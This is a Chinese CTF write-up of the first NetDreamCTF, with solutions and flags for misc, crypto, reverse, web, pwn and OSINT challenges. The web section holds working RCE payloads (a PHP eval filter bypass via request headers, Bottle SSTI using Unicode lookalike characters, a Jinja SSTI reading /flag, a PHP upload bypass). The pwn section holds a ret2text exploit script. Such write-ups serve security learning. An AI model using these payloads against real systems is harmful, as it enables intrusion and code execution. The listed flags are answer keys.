第一届NetDreamCTF

本次NetDreamCTF由黄豆安全实验室主办,赛制为解题(Jeopardy),包括Misc、Crypto、Reverse、Web、PWN、OSINT六个方向的赛题,难度适中,适合大部分CTFer。

Rank: 3


MISC

签到

你知道Base和TXT吗?
Y3RmLmN0Zi52aW4=

先base64解码,得到:ctf.ctf.vin

根据提示TXT,在线nslookup域名解析 查询TXT记录:

image-20250816190647887

flag:flag{W3lc0m3_T0_NETDREAMCTF!!!!!}

ezimg

010editor查看jpg末尾有字符串:

1
aHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMUdKNDExeDdoNy8=aHR0cHM6Ly9kb2NzLnFxLmNvbS9kb2MvRFpXeG9iSGhtUlc5cGQwOWs=

base64解码:

1
https://www.bilibili.com/video/BV1GJ411x7h7/https://docs.qq.com/doc/DZWxobHhmRW9pd09k

打开:https://docs.qq.com/doc/DZWxobHhmRW9pd09k

全选复制粘贴到txt,内容:

1
2
3
flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}

aHR0cHM6Ly93d2duLmxhbnpvdWwuY29tL2kzcTR5MzBodWVmYQ==

是假flag,base64解码:

1
https://wwgn.lanzoul.com/i3q4y30huefa

下载ezimg.zip,解压有ezimg.py:

1
from cryptography.fernet import Fernet; import base64; key = base64.urlsafe_b64encode(b'flag{xxx}'[:32].ljust(32, b'\0')[:32]); cipher = Fernet(key); encrypted = cipher.encrypt(b'flag{xxxx}'); #c=gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s

将假flag作为key,解密:

1
2
3
4
5
6
7
8
9
10
11
from cryptography.fernet import Fernet
import base64

key = base64.urlsafe_b64encode(b'flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}'[:32].ljust(32, b'\0')[:32])
cipher = Fernet(key)

c = "gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s"
plaintext = cipher.decrypt(c.encode())
print(plaintext)

# b'flag{Hu@ngD0w_L0v3s_M1sc_F0r3v3r!!!!!}'

I_AM_K

B3F0re赵的立方体-1398441600

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import base64

def encrypt(plaintext, key):
key_sum = sum(ord(char) for char in key)
if not plaintext.startswith("flag{"):
plaintext = "flag{" + plaintext
if not plaintext.endswith("}"):
plaintext += "}"

encrypted = []
for char in plaintext:
encrypted_char = (ord(char) + key_sum) % 256
encrypted.append(encrypted_char)

encrypted_bytes = bytes(encrypted)
base64_encoded = base64.b64encode(encrypted_bytes).decode('utf-8')
shift = key_sum % 26
caesar_shifted = ""
for char in base64_encoded:
if char.isalpha():
shifted_char = chr(((ord(char) - ord('A') + shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) + shift) % 26 + ord('a'))
caesar_shifted += shifted_char
else:
caesar_shifted += char
hex_encoded = caesar_shifted.encode('utf-8').hex()

return hex_encoded

key = "xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx"

plaintext = "Thi5 1s th3 Fl@g"

ciphertext = encrypt(plaintext, key)
print(ciphertext)

#686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248

key未知,计算key_sum,先对明文字符做增量,base64编码后,再由key_sum%26的shift做凯撒移位。小范围内爆破key_sum即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import base64

c = bytes.fromhex('686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248').decode()
print(c)

for ks in range(10000):
shift = ks % 26
c2 = ''
for char in c:
if char.isalpha():
shifted_char = chr(((ord(char) - ord('A') - shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) - shift) % 26 + ord('a'))
c2 += shifted_char
else:
c2 += char
c3 = list(base64.b64decode(c2))
m = bytes([(k - ks) & 0xff for k in c3])
if b'flag' in m:
print(m)

# b'flag{I_am_K_hypocritical_K}'

问卷

https://wj.qq.com/s2/23150030/670f/

flag:flag{Never_Gonna_Give_You_Up-Never_Gonna_Let_You_Down}

CRYPTO

EzRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import sys
import random
from sympy import nextprime
import binascii

FLAG = b"flag{xxxxxxx}"
BIT_SIZE = 512
DIFF = 1000

def generate_close_primes(bit_size, diff):
start = random.getrandbits(bit_size) | 1
p = nextprime(start)
q = nextprime(p + diff)
return p, q

def flag_to_int(flag_bytes):
return int.from_bytes(flag_bytes, byteorder='big')

def main():
p, q = generate_close_primes(BIT_SIZE, DIFF)
n = p * q
e = 3

m = flag_to_int(FLAG)

c = pow(m, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")

if __name__ == "__main__":
main()

"""
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933
"""

$p,q$ 相差接近1000,对 $n$ 开方后爆破求 $q$。

之后 $\gcd(e,\varphi)=3$,先常规RSA用 $\cfrac{e}{3}$ 求出 $m^3$ 再小指数开立方即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
import gmpy2

n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933

q = gmpy2.iroot(n,2)[0]
while 1:
q = gmpy2.next_prime(q)
if n % q == 0:
break

p = n // q
print(p)
print(q)
f = (p-1)*(q-1)
d = inverse(e//3,f)
m3 = pow(c,d,n)
m = gmpy2.iroot(m3,3)[0]
print(long_to_bytes(m))

# b'flag{EZ_3Z++==+__U_C@n_F1n1sh_1t}'

Quaternion_Lock

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import random

p = 9223372036854775783
e = 65537
subgroup_order = 60480

def qmul(q1, q2, p):
a1, b1, c1, d1 = q1
a2, b2, c2, d2 = q2
return (
(a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
(a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
(a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
(a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
)

def qconj(q, p):
a, b, c, d = q
return (a % p, (-b) % p, (-c) % p, (-d) % p)

def qnorm(q, p):
a, b, c, d = q
return (a*a + b*b + c*c + d*d) % p

def qinv(q, p):
n = qnorm(q, p)
inv_n = pow(n, -1, p)
qc = qconj(q, p)
return (qc[0] * inv_n % p, qc[1] * inv_n % p, qc[2] * inv_n % p, qc[3] * inv_n % p)

def qpow(q, exp, p):
result = (1, 0, 0, 0)
base = q
while exp:
if exp & 1:
result = qmul(result, base, p)
base = qmul(base, base, p)
exp //= 2
return result

def encode_flag(flag):
flag_bytes = flag.encode()
parts = [flag_bytes[0:8], flag_bytes[8:15], flag_bytes[15:22], flag_bytes[22:29]]
return tuple(int.from_bytes(part, 'big') for part in parts)

def main():
flag = "flag{xxx-xxx-xxx-xxx-xxx-xxx}"
F = encode_flag(flag)
F_q = F
g = (2, 1, 0, 0)
h = qpow(g, ((p * p - 1) // subgroup_order), p)
r = random.randint(1, subgroup_order - 1)
K = qpow(h, r, p)
Y = qpow(K, e, p)
K_inv = qinv(K, p)
X = qmul(K, qmul(F_q, K_inv, p), p)
print("----- Public Parameters -----")
print("p =", p)
print("e =", e)
print("X =", X)
print("Y =", Y)
print("-----------------------------")

if __name__ == "__main__":
main()
'''
X = (7380380986429696832, 34163292457091182, 3636630423226195928, 3896730209645707435)
Y = (1015918725738180802, 4456058114364993854, 0, 0)
'''

定义了四元数,且有:

四元数对应的 $\varphi=p^4-1$,即可求出 $d = e^{-1} \bmod \varphi$,进而:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.number import *

p = 9223372036854775783
e = 65537
subgroup_order = 60480

def qmul(q1, q2, p):
a1, b1, c1, d1 = q1
a2, b2, c2, d2 = q2
return (
(a1*a2 - b1*b2 - c1*c2 - d1*d2) % p,
(a1*b2 + b1*a2 + c1*d2 - d1*c2) % p,
(a1*c2 - b1*d2 + c1*a2 + d1*b2) % p,
(a1*d2 + b1*c2 - c1*b2 + d1*a2) % p
)

def qconj(q, p):
a, b, c, d = q
return (a % p, (-b) % p, (-c) % p, (-d) % p)

def qnorm(q, p):
a, b, c, d = q
return (a*a + b*b + c*c + d*d) % p

def qinv(q, p):
n = qnorm(q, p)
inv_n = pow(n, -1, p)
qc = qconj(q, p)
return (qc[0] * inv_n % p, qc[1] * inv_n % p, qc[2] * inv_n % p, qc[3] * inv_n % p)

def qpow(q, exp, p):
result = (1, 0, 0, 0)
base = q
while exp:
if exp & 1:
result = qmul(result, base, p)
base = qmul(base, base, p)
exp //= 2
return result

X = (7380380986429696832, 34163292457091182, 3636630423226195928, 3896730209645707435)
Y = (1015918725738180802, 4456058114364993854, 0, 0)
d = inverse(e, p**4 - 1)
K = qpow(Y, d, p)
assert Y == qpow(K, e, p)
K_inv = qinv(K, p)
F = qmul(K_inv, qmul(X, K, p), p)
print(F)

flag = b''
for k in F:
flag += long_to_bytes(k)

print(flag)

b'flag{0k@y_U_C@n_F1n1sh_iT!!!}'

WEB

ezbypass

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$test=$_GET['test'];

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
eval($test);
}
else{
echo "oh nonono hacker!";
}

highlight_file(__FILE__);

命令执行考点,过滤很多符号和关键字,发现system和include未被禁,再利用从HTTP头读入内容的内置函数(getallheaders() 或 apache_request_headers())可获取自由输入值,get被禁,只能用后者。

apache_request_headers() 返回值是 Array,搜索 Array相关的内置函数,且不含 “array_” 开头 & 不在正则中的,找到 join() 函数,可连接所有值。

bp抓包,测试时使用 include 回显:

1
/?test=include(join(apache_request_headers()));

image-20250816200223435

会讲HTTP头里所有值连接带出,在bp中删除大部分带特殊字符的字符串,增加自定义键值对作为自定义命令,include 换为 system,加上|管道符,即可成功rce:

1
/?test=system(join(apache_request_headers()));

image-20250816200359281

Pickle♥dill

Just the Two of Us

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# Have fun!
import os
import mimetypes
import dill

from bottle import Bottle, run, request, template, response
from base64 import b64encode
app = Bottle()
UPLOAD_DIR = os.path.abspath('./uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
class chal():
# flag here
pass

INDEX_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
<title>文件管理</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; }
.container { max-width: 800px; margin: 0 auto; }
form { margin-bottom: 20px; padding: 20px; border: 1px solid #ddd; border-radius: 5px; }
input[type="file"], input[type="text"] { margin: 10px 0; }
.message { color: green; margin: 10px 0; }
.error { color: red; }
</style>
</head>
<body>
<div class="container">
<h1>文件上传</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="上传" />
</form>

<h1>文件读取</h1>
<form action="/read" method="get">
<input type="text" name="filename" placeholder="输入文件名" required />
<input type="submit" value="读取" />
</form>

% if message:
<div class="message">{{message}}</div>
% end
% if error:
<div class="error">{{error}}</div>
% end
</div>
</body>
</html>
'''

def render_template(message='', error=''):
return template(INDEX_TEMPLATE, message=message, error=error)

@app.route('/')
def index():
return render_template()

@app.post('/upload')
def upload_file():
upload = request.files.get('file')

if not upload:
return render_template(error='请选择要上传的文件')
if '..' in upload.filename:
return render_template(error='不要透我!>_<')
filename = os.path.basename(upload.filename)
if not filename:
return render_template(error='无效的文件名')

save_path = os.path.join(UPLOAD_DIR, filename)
try:
upload.save(save_path, overwrite=True)
except Exception as e:
return render_template(error=f'上传失败: {str(e)}')

return render_template(message=f'文件 {filename} 上传成功!')

@app.get('/read')
def read_file():
filename = request.query.get('filename', '').strip()
if not filename:
return render_template(error='请输入文件名')
if '..' in filename:
return render_template(error='不要透我!>_<')
safe_name = os.path.basename(filename)
if not safe_name:
return render_template(error='无效的文件名')

file_path = os.path.join(UPLOAD_DIR, safe_name)

if not os.path.exists(file_path):
return render_template(error='文件不存在')

if not os.path.isfile(file_path):
return render_template(error='请求的不是有效文件')

mime_type, _ = mimetypes.guess_type(file_path)
response.content_type = mime_type or 'application/octet-stream'

try:
with open(file_path, 'rb') as f:
content = f.read().decode(errors='replace')
try:
challenge = b64encode(dill.dumps(chal())).decode()
blacklist = dir(__builtins__)
blacklist += dir([])
blacklist += dir(1)
blacklist += dir(())
blacklist += dir(True)
blacklist += dir('NO HACKER')
# I'm pretty sure nothing can be done now ;)
# Even if i do not ban dicts, but, u know, is it too complex to SSTI with {} and without almost every magic methods?
# Here is a hint if you really get stuck:
# dHJ5IHRvIGV4cGxvaXQgd2l0aCBzb21ldGhpbmcgdW5pcXVlIHRvIGJvdHRsZSA+Xzw=
for i in blacklist:
if i in content:
return 'STOP HACKING!'
return template(f'''% import pickle
% setdefault('chal', '{challenge}')
The content is: ''' + content) # Yeah I don’t know why but rendering it is so f**king fun! XD
except:
import traceback
traceback.print_exc()
return content
except Exception as e:
return render_template(error=f'文件读取失败: {str(e)}')

if __name__ == '__main__':
run(app, host='localhost', port=5000, debug=True, reloader=True)

bottle容器,/upload 路由上传文件,/read 路由读文件,且文件内容将作为template加载。过滤了很多内置对象,template里用setdefault设置了一个键值对,键名为chal,尝试设置上传文件的内容:

1
{{chal}}

由于:

1
challenge = b64encode(dill.dumps(chal())).decode()

/read 读出的是定义的chal类对象的序列化结果,即使用 dill.loads() 反序列化操作,得到的也是对应操作的字节码。

转变思路,尝试RCE,搜索bottle框架存在的特性,参考:

聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass

在bottle的SSTI里,他们可以被直接替换成ª (U+00AA),º (U+00BA)进而绕过各种waf。

尝试构造:

1
{{__impºrt__("os").pºpen("cat app.py|base64").read()}}

上传后,访问:

1
/read?filename=1.txt

得到的内容base64解码得到源码,即可看到flag:

1
2
3
4
5
6
7
8
9
10
11
12
import os
import mimetypes
import dill

from bottle import Bottle, run, request, template, response
from base64 import b64encode
app = Bottle()
UPLOAD_DIR = os.path.abspath('./uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
# flag{B0ttl3_❤_pickle_and_watch_this_https://www.bilibili.com/video/BV1GJ411x7h7}
# HOW COULD YOU GET THE SOURCE CODE???? PLZ CONTECT QQ:1372449351 PLZPLZPLZ
# YOU ARE TRUELY A SSTI MASTER

ezupload

title

一个文件上传点,上传一个jpg图片,使用bp抓包。

尝试修改文件后缀为php会替换为空,双写或三写php同样会替换为空;使用 .htaccess 的方法,.htaccess 文件会被重命名;文件内容也会被检测,无法以 <? 开头。

多次尝试偶然发现四写php居然就成功了…

使用 <script language="PHP">...</script> 写入PHP语句。

image-20250816195258396

最后访问 /uploads/1.php 得到flag。

ezpython

Hint:

fuzz部分需要爆破http://x.x.x.x/的路径,六位数

访问页面,F12源码提示:

1
<!-- :/s3c0nd -->

访问 /s3c0nd 后提示:

1
only fuzz(number)

根据hint,bp爆破或直接尝试出路由 /114514,访问,F12源码提示:

1
<!-- 听说访问该页面的某get参数的某个数值可以爆源码 -->

bp爆破或直接尝试参数为name,SSTI RCE即可:

1
/114514?name={{cycler.__init__.__globals__.os.popen(%27cat%20/flag%27).read()}}

image-20250816194926634

REVERSE

NMTZ_LIKE_RE

IDA打开,main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rax
FILE *v4; // rax
char Buffer[8]; // [rsp+20h] [rbp-60h] BYREF
__int64 v7; // [rsp+28h] [rbp-58h]
__int64 v8; // [rsp+30h] [rbp-50h]
__int64 v9; // [rsp+38h] [rbp-48h]
__int64 v10; // [rsp+40h] [rbp-40h]
__int64 v11; // [rsp+48h] [rbp-38h]
__int64 v12; // [rsp+50h] [rbp-30h]
__int64 v13; // [rsp+58h] [rbp-28h]
__int64 v14; // [rsp+60h] [rbp-20h]
__int64 v15; // [rsp+68h] [rbp-18h]
__int64 v16; // [rsp+70h] [rbp-10h]
__int64 v17; // [rsp+78h] [rbp-8h]
__int64 v18; // [rsp+80h] [rbp+0h]
__int64 v19; // [rsp+88h] [rbp+8h]
__int64 v20; // [rsp+90h] [rbp+10h]
__int64 v21; // [rsp+98h] [rbp+18h]
char Str1[8]; // [rsp+A0h] [rbp+20h] BYREF
__int64 v23; // [rsp+A8h] [rbp+28h]
__int64 v24; // [rsp+B0h] [rbp+30h]
char v25[10]; // [rsp+B8h] [rbp+38h] BYREF
__int64 v26; // [rsp+C2h] [rbp+42h]
__int64 v27[3]; // [rsp+D0h] [rbp+50h]
char v28[9]; // [rsp+E8h] [rbp+68h]
__int64 v29; // [rsp+F1h] [rbp+71h]
unsigned __int8 v30; // [rsp+103h] [rbp+83h]
int v31; // [rsp+104h] [rbp+84h]
int v32; // [rsp+108h] [rbp+88h]
int i; // [rsp+10Ch] [rbp+8Ch]

_main(argc, argv, envp);
anti_debug();
v27[0] = 0x5A78B74098E0D0F8i64;
v27[1] = 0xB8072877E8726FD8ui64;
v27[2] = 0x7FF08872E08A47E8i64;
v28[0] = -56;
*&v28[1] = 0x908A088A57AFE862ui64;
v29 = 0x50787AA78FDFE080i64;
*Str1 = 0i64;
v23 = 0i64;
v24 = 0i64;
memset(v25, 0, sizeof(v25));
v26 = 0i64;
v32 = 41;
v31 = 90;
for ( i = 0; i < v32; ++i )
{
v30 = *(v27 + i);
v30 -= 23;
v30 = (v31 ^ ror(v30, 3i64)) - i % 5;
Str1[i] = v30;
}
Str1[v32] = 0;
*Buffer = 0i64;
v7 = 0i64;
v8 = 0i64;
v9 = 0i64;
v10 = 0i64;
v11 = 0i64;
v12 = 0i64;
v13 = 0i64;
v14 = 0i64;
v15 = 0i64;
v16 = 0i64;
v17 = 0i64;
v18 = 0i64;
v19 = 0i64;
v20 = 0i64;
v21 = 0i64;
printf("Enter the password: ");
v3 = __acrt_iob_func(1u);
fflush(v3);
v4 = __acrt_iob_func(0);
if ( !fgets(Buffer, 128, v4) )
{
puts("Wrong!");
exit(1);
}
Buffer[strcspn(Buffer, "\n")] = 0;
if ( !strcmp(Str1, Buffer) )
puts(Str1);
else
puts("Wrong!");
return 0;
}

先计算Str1,再输入字符串存入Buffer,需要两者相等。

将35行的anti_debug();反调试nop掉(call anti_debug),然后在Str1计算完成后的43行打断点,动调获取Str1结果即可。

image-20250816193133671

flag:flag{Nu0_M1_Tu@n_Z1_1s_Th3_GO0d3st_CTF3r}

ezre

先查壳,有upx壳,用XVolkolak脱壳,IDA打开,从字符串交叉引用找到主函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
int sub_401496()
{
char v1[42]; // [esp+17h] [ebp-7Dh] BYREF
char v2[5]; // [esp+41h] [ebp-53h]
char v3[64]; // [esp+46h] [ebp-4Eh] BYREF
char v4; // [esp+86h] [ebp-Eh]
char v5; // [esp+87h] [ebp-Dh]
unsigned int v6; // [esp+88h] [ebp-Ch]
unsigned int i; // [esp+8Ch] [ebp-8h]

sub_401C20();
j_printf(aInput);
if ( !j_fgets(v3, 64, iob) )
return 0;
v3[j_strcspn(v3, asc_40506C)] = 0;
v2[0] = 1;
v2[1] = 2;
v2[2] = 3;
v2[3] = 4;
v2[4] = 5;
qmemcpy(v1, ";s", 2);
v1[2] = 19;
v1[3] = 27;
v1[4] = -13;
v1[5] = -127;
v1[6] = -127;
v1[7] = -127;
v1[8] = 11;
v1[9] = -119;
v1[10] = -95;
v1[11] = -95;
v1[12] = -95;
v1[13] = 73;
v1[14] = 3;
v1[15] = -55;
v1[16] = -39;
v1[17] = 11;
v1[18] = 73;
v1[19] = -95;
v1[20] = -103;
v1[21] = 51;
v1[22] = -127;
v1[23] = 73;
v1[24] = 35;
v1[25] = -87;
v1[26] = -71;
v1[27] = -87;
v1[28] = 73;
v1[29] = -119;
v1[30] = -103;
v1[31] = -95;
v1[32] = -87;
v1[33] = -87;
v1[34] = -119;
v1[35] = -127;
v1[36] = -87;
v1[37] = -71;
v1[38] = -95;
v1[39] = -87;
v1[40] = -119;
v1[41] = -5;
v6 = 42;
if ( j_strlen(v3) == 42 )
{
for ( i = 0; i < v6; ++i )
{
v5 = v3[i];
v4 = sub_401460(v1[i], 3) ^ v2[i % 5];
if ( v4 != v5 )
{
j_puts(aAccessDenied);
return 0;
}
}
j_puts(aAccessGranted);
return 0;
}
else
{
j_puts(aAccessDenied);
return 0;
}
}

v1中的值经sub_401460()的高低位交换操作后,与v2中的值异或,得到的值需与输入字符串相等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v1 = [ 0x3B, 0x73, 0x13, 0x1B, 0xF3, 0x81, 0x81, 0x81, 0x0B, 0x89, 
0xA1, 0xA1, 0xA1, 0x49, 0x03, 0xC9, 0xD9, 0x0B, 0x49, 0xA1,
0x99, 0x33, 0x81, 0x49, 0x23, 0xA9, 0xB9, 0xA9, 0x49, 0x89,
0x99, 0xA1, 0xA9, 0xA9, 0x89, 0x81, 0xA9, 0xB9, 0xA1, 0xA9,
0x89, 0xFB]
v2 = [1,2,3,4,5]

m = []
for i in range(42):
m.append((((v1[i] >> 3) | (v1[i] << 5)) ^ v2[i%5]) & 0xff)

print(bytes(m))

b'flag{123e4567-e89b-12d3-a456-426614174000}'

PWN

ezpwn

32位,IDA打开,vuln函数:

1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF

printf("Enter your payload: ");
fflush(stdout);
return read(0, buf, 0x80u);
}

read大小0x80>0x48,存在栈溢出,且程序有现成shell函数,ret2text。

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote('nc1.ctfplus.cn','24592')

r.recvuntil(b'payload: ')
shell = 0x80491b6
pl = b'a'*(0x48+4) + p32(shell)
r.send(pl)

r.interactive()

OSINT

Where_am_i

flag{建筑名}

百度识图,搜索页:

https://graph.baidu.com/s?card_key=&entrance=GENERAL&extUiData%5BisLogoShow%5D=1&f=all&isLogoShow=1&session_id=6983026630174590425&sign=126e3f68cddabb56bc7dd01755307670&tpl_from=pc

image-20250816191303010

flag:flag{渥太华医院}

Bridge

flag{桥名}

百度识图,单独截图桥柱搜索,找到结果页跟进:

https://mbd.baidu.com/newspage/data/dtlandingsuper?nid=dt_4627947414028434985&sourceFrom=search_a

image-20250816191151579

​ flag:flag{牌楼长江大桥}